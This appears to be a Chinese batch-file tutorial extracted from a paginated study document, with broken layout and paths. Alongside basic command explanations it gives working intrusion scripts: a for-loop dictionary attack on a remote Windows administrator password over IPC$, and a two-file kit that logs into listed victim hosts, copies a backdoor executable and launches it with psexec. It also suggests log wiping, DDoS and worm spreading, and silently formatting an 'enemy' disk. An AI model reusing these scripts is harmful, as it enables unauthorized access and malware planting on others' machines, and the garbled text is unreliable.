2022年经典高级批处理完整教程.docx

精选学习资料 - - - - - - - - - 经典高级批处理完整教程一.简洁批处理内部命令简介1.Echo 命令打开回显或关闭恳求回显功能,或显示消息；假如没有任何参数,前回显设置；语法 echo on|off message Sample ：echo off / echo hello world echo 命令将显示当在实际应用中我们会把这条命令和重定向符号也称为管道符号,一般用 > >> 结合来实现输入一些命令到特定格式的文件中 2. 命令.这将在以后的例子中表达出来；表示不显示 后面的命令,在入侵过程中例如使用批处理来格式化敌人的硬盘自然不能让对方看到你使用的命令啦；Sample ：echo off echo Now initializing the program,please wait a minite. format X: /q/u/autoset format 这个命令是不行以使用 /y 这个参数的,可喜的是微 软留了个 autoset 这个参数给我们,成效和 /y 是一样的； 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开头的命令；语法： goto label label 是参数,指定所要转向的批处理程序中的行；Sample ：if %1= goto noparms if %2= goto noparms假如这里的if、%1 、%2 你不明白的话,先跳过去,后面会有具体的说明； Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以任凭起,但是最好是有意义的字母啦,字母前加个：用来表示这个字母 是标签, goto 命令就是依据这个：来查找下一步跳到到那里；最好有一些说明这样你别 人看起来才会懂得你的意图啊；4.Rem 命令 注释命令,在 C 语言中相当与 /*-*/, 它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改；Rem Message Sample ：Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息：Press any key to continue . . . Sample ：echo off :begin copy a:*.* d ：back 名师归纳总结 - - - - - - -第 1 页,共 7 页精选学习资料 - - - - - - - - - echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的全部文件均复制到 d:back 中；显示的注释提示您将另一张磁盘放入驱动器 A 时, pause 命令会使程序挂起,以便您更换磁盘,然后按任意键连续处理；6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序；call 命令接受用作调用目标的标签；假如在脚本或批处理文件外使用 用；语法Call ,它将不会在命令行起作call Drive:Path FileName BatchParameters :label arguments 参数Drive:Path FileName 指定要调用的批处理程序的位置和名称；filename 参数必需具有 .bat 或d 扩展名；7.start 命令调用外部程序,全部的DOS 命令和命令行程序都可以由start 命令来调用；入侵常用参数：MIN 开头时窗口最小化SEPARATE 在分开的空间内开头16 位 Windows 程序HIGH 在 HIGH 优先级类别开头应用程序 REALTIME 在 REALTIME 优先级类别开头应用程序 WAIT 启动应用程序并等候它终止 parameters 这些为传送到命令 /程序的参数 执行的应用程序是 32- 位 GUI 应用程序时, CMD.EXE 不等应用程序终止就返回命令提示；假如在命令脚本内执行,该新行为就不会发生；8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令；使用时应当加 /c: 参数, c:后应写提示可输入的字符,之间无空格；它的返回码为 1234 如: choice /c:dme defrag,mem,end 将显示defrag,mem,endD,M,E. Sample ：Sample.bat 的内容如下 : echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag if errorlevel 2 goto mem 应先判定数值最高的错误码if errotlevel 1 goto end:defrag c:dosdefrag goto end :mem 名师归纳总结 - - - - - - -第 2 页,共 7 页精选学习资料 - - - - - - - - - mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,endD,M,E. 用户可挑选 d m e ,然后 if 语句将作出判定, d 表示执行标号为 defrag 的程序段, m 表示执行标号为 mem 的程序段, e 表示执行标号为 end 的程序段,每个程序段最终都以goto end 将程序跳到end 标号处,然后程序将显示 good bye ,文件终止；9.If 命令 if 表示将判定是否符合规定的条件,从而打算执行不同的命令；有三种格式 : 1、if "参数 " = " 字符串 " 待执行的命令参数假如等于指定的字符串,就条件成立,运行命令,否就运行下一句；留意是两个等号如 if "%1"="a" format a: if %1= goto noparms if %2= goto noparms2、if exist 文件名待执行的命令假如有指定的文件,就条件成立,运行命令,否就运行下一句；如 if exist config.sys edit config.sys3、if errorlevel / if not errorlevel 数字待执行的命令假如返回码等于指定的数字,就条件成立,运行命令,否就运行下一句；如 if errorlevel 2 goto x2 DOS 程序运行时都会返回一个数字给DOS ,称为错误码errorlevel 或称返回码,常见的返回码为 0、1；10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范畴内循环执行命令；在批处理文件中使用FOR 命令时,指定变量请使用%variablefor %variable|%variable in set do command CommandLineOptions %variable 指定一个单一字母可替换的参数；set 指定一个或一组文件；可以使用通配符；command 指定对每个文件执行的命令；command-parameters 为特定命令指定参数或命令行开关；在批处理文件中使用 FOR 命令时,指定变量请使用 %variable 而不要用 %variable ；变量名称是区分大小写的,所以 %i 不同于 %I 假如命令扩展名被启用,以下额外的 FOR 命令格式会受到支持 :FOR /D %variable IN set DO command command-parameters 假如集中包含通配符,就指定与目录名匹配,而不与文件名匹配； FOR /R drive:path %variable IN set DO command command-检查以drive:path 为根的目录树,指向每个目录中的FOR 语句；假如在 /R 后没有指定目录,就使用当前目录；假如集仅为一个单点 .字符,就枚举该目录树；FOR /L %variable IN start,step,end DO command command-para 个数字序列；该集表示以增量形式从开头到终止的一名师归纳总结 因此, 1,1,5 将产生序列1 2 3 4 5 , 5,-1,1 将产生第 3 页,共 7 页- - - - - - -精选学习资料 - - - - - - - - - 序列 5 4 3 2 1 ； FOR /F "options" %variable IN file-set DO command FOR /F "options" %variable IN "string" DO command FOR /F "options" %variable IN 'command' DO command或者,假如有usebackq 选项 :FOR /F "options" %variable IN file-set DO command FOR /F "options" %variable IN "string" DO command FOR /F "options" %variable IN 'command' DO command filenameset 为一个或多个文件名；连续到filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理；处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号；然后用已找到的符号字符串变量值调用 For 循环；以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号；跳过空白行；您可通过指定可选 "options" 参数替代默认解析操作；这个带引号的字符串包括一个或多个指定不同解析选项的关键字；这些关键字为:eol=c - 指一个行注释字符的结尾就一个 skip=n - 指在文件开头时忽视的行数；delims=xxx - 指分隔符集；这个替换了空格和跳格键的默认分隔符集；tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身；这会导致额外变量名称的格式为一个范畴；通过nth 符号指定m 符号字符串中的最终一个字符星号,那么额外的变量将在最终一个符号解析之安排并接受行的保留文本；usebackq - 指定新语法已在下类情形中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并答应在 fi 中使用双引号扩起文件名称；sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in myfile.txt do command 会分析myfile.txt 中的每一行,忽视以分号打头的那些行,将每行中的其次个和第三个符号传递给 for 程序体；用逗号和 /或空格定界符号；请留意,这个 for 程序体的语句引用 %i 来取得其次个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的全部剩余符号；对于带有空格的文件名,您需要用双引号将文件名括起来；为了用这种方式来使用双引号,您仍需要使用 usebackq 选项,否就,双引号会被懂得成是用作定义某个要分析的字符串的；%i 特地在 for 语句中得到说明,%j 和%k 是通过tokens= 选项特地得到说明的；您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量；请记住,FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中；您仍可以在相邻字符串上使用 FOR /F 分析规律；方法是,名师归纳总结 用单引号将括号之间的filenameset 括起来；这样,该字符第 4 页,共 7 页- - - - - - -精选学习资料 - - - - - - - - - 串会被当作一个文件中的一个单一输入行；最终,您可以用 输出；方法是,将FOR /F 命令来分析命令的括号之间的filenameset 变成一个反括字符串；该字符串会被当作命令行,传递到一个子CMD.EXE ,其输出会被抓进内存,并被当作文件分析；因此,以下例子 :FOR /F "usebackq delims=" %i IN set DO echo %i 会枚举当前环境中的环境变量名称；另外,使用以下FOR 变量参照的替换已被增强；您现在可以选项语法 :I - 删除任何引号 " ,扩充 %I %fI - 将 %I 扩充到一个完全合格的路径名%dI - 仅将 %I 扩充到一个驱动器号%pI - 仅将 %I 扩充到一个路径%nI - 仅将 %I 扩充到一个文件名%xI - 仅将 %I 扩充到一个文件扩展名%sI - 扩充的路径只含有短名%aI - 将 %I 扩充到文件的文件属性%tI - 将 %I 扩充到文件的日期 /时间%zI - 将 %I 扩充到文件的大小%$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称；假如环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果 径:%dpI - 仅将 %I 扩充到一个驱动器号和路%nxI - 仅将 %I 扩充到一个文件名和扩展名%fsI - 仅将 %I 扩充到一个带有短名的完整路径名%dp$PATH:i - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个驱动器号和路径；%ftzaI - 将 %I 扩充到类似输出线路的DIR 在以上例子中,%I 和 PATH 可用其他有效数值代替； % 语法用一个有效的FOR 变量名终止；选取类似%I 的大写变量名比较易读,而且防止与不分大小写的组合键混淆；以上是 个例子来具体说明一下 For 命令在入侵中的用途；sample2 ：利用 For 命令来实现对一台 目标 Win2k 主机的暴力密码破解；我们用 net use ipipc$ "password" /u:"administrator" 连接,当胜利时登记密码；MS 的官方帮忙,下面我们举几来尝试这和目标主机进行最主要的命令是一条：for /f i% in dict.txt do net use ipipc$ "i%" /u:"administrator" 用 i% 来表示 admin 的密码,在dict.txt 中这个取 i% 的值用 net use 命令来连接；然后将程序运行结果传递给 find 命令for /f i% in dict.txt do net use ipipc$ "i%" /u:"administrator"|find ":命令胜利完成 ">>D:ok.txt ,这样就ko 了；sample3 ：你有没有过手里有大量肉鸡等着你去种后门木马呢？,当数量特殊多的时候,原本很高兴的一件事都会变得很郁闷名师归纳总结 - - - - - - -第 5 页,共 7 页精选学习资料 - - - - - - - - - ：；文章开头就谈到使用批处理文件,可以简化日常或重复性任务；那么如何实现呢？呵呵,看下去你就会明白了；主要命令也只有一条： 在批处理文件中使用FOR 命令时,指定变量使用%variable for /f "tokens=1,2,3 delims= " %i in victim.txt do start call door.bat %i %j %k tokens 的用法请参见上面的sample1 ,在这里它表示按次序将victim.txt 中的内容传递给 door.bat 中的参数 %i %j %k ；而 cultivate.bat 无非就是用 net use 命令来建立 IPC$ 连接,并 copy 木马后门到 victim echo 出来,或者,然后用返回码If errorlever = 来挑选胜利种植后门的主机,并 echo 到指定的文件；delims= 表示 vivtim.txt 中的内容是一空格来分隔的；我想看到这里你也肯定明白这victim.txt 里的内容是什么样的了；应当依据%i %j %k表示的对象来排列,一般就是 ip password username；代码雏形：- cut here then save as a batchfileI call it main.bat - echo off if "%1"="" goto usage for /f "tokens=1,2,3 delims= " %i in victim.txt do start call IPChack.bat %i %j %k goto end :usage echo run this batch in dos modle.or just double-click it. :end - cut here then save as a batchfileI call it main.bat - - cut here then save as a batchfileI call it door.bat - net use %1ipc$ %3 /u:"%2" if errorlevel 1 goto failed echo Trying to establish the IPC$ connection OK copy windrv32.exe%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt psexec %1 c:winntsystem32windrv32.exe psexec %1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed echo Sorry can not connected to the victim. - cut here then save as a batchfileI call it door.bat - 名师归纳总结 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序Windrv32.exe第 6 页,共 7 页,PSexec.exe需放在统一目录下.批处理内容尚可扩展 ,例如 :加入清除日志 +DDOS 的功能 ,加入定时添加用户的功能,更深化一点可以- - - - - - -精选学习资料 - - - - - - - - - 使之具备自动传播功能蠕虫 .此处不多做表达,有爱好的伴侣可自行讨论.二 .如何在批处理文件中使用参数批处理中可以使用参数,一般从1% 到 9% 这九个,当有多个参数时需要用shift 来移动,这种情形并不多见,我们就不考虑它了；sample1 ：fomat.bat echo off if "%1"="a" format a: :format format a:/q/u/auotset echo please insert another disk to driver A. pause goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在 呵,好像有点画蛇添足了_ sample2 ：dos 窗口输入 fomat.bat a ,呵当我们要建立一个 IPC$ 连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地 ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了；echo off net use 1%ipc$ "2%" /u:"3%" 留意哦,这里PASSWORD是其次个参数；if errorlevel 1 echo connection failed 名师归纳总结 怎么样 ,使用参数仍是比较简洁的吧？你这么帅肯定学会了_.第 7 页,共 7 页- - - - - - -